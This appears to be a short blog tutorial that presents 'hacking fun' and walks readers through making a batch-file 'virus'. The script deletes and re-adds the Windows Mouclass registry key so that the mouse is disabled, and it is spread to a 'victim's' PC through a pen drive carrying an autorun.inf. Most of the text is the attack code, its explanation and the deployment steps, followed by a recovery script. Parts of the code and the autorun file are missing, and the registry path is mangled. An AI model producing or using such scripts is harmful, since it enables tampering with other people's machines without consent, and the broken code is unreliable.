Hi friends , Hacking is one of the fun . You can attract your friends by simply doing some hacks before them. You can also make your victims or enemies in confusion. This article will help you to make the small fun with hack.
Let’s come to the point. Today i am going to guide you how to disable your victim’s or friend’s (whoever) mouse,whenever he inserts pen drive. You can call it as virus which will disable the mouse.
How we are going to do?
We are going to create this virus using our usual Batch programming. In this post i am not only giving you simply the code but also explanation for the Batch program. So I hope that this post will make you happy.
Batch Programming Code:
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Explanation about this code
“@echo off” This command will either turn ON, or OFF the command you put in a batch file from showing itself. (don’t confuse now,batch programming intro will make you clear).
set key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass” will access the registry stored in this location”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
|Mouse Class Registry|
The third line of our code is “reg delete %key%” . This will delete the key in the MouseClass from registry.
“reg add %key% /v Start /t REG_DWORD /d 4” creates a new key with
Binary value name as “start” ,
type is “REG_DWORD”
and data as “4” (actually the fore will be stored in hexadecimal format, 0×00000004).
The Procedure to create this virus:
Okay now we will see the what are the procedure to follow in order to make this virus perfectly work in victim pc.
- Copy the Batch code into notepad.
- Save it as .bat extension (for eg: clickme.bat)
Now open the notepad and copy this code:
Save it as “autorun.inf”
//don’t forget to change the “filname.bat” with your filname.bat.
Then copy the two files in your pen drive or victim’s pen drive.
That’s all we have finished. Now bring your pen drive to your friend or victim home. Now whenever the mouse is inserted ,the mouse will be disabled.
How to recover from this attack?
Sorry for mentioning this fun as attack. To recover from this attack ,you can follow these steps:
Copy this code into the notepad:
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1
and save it with .bat extension(for eg: release.bat).
now open this batch will re-enable the mouse actions.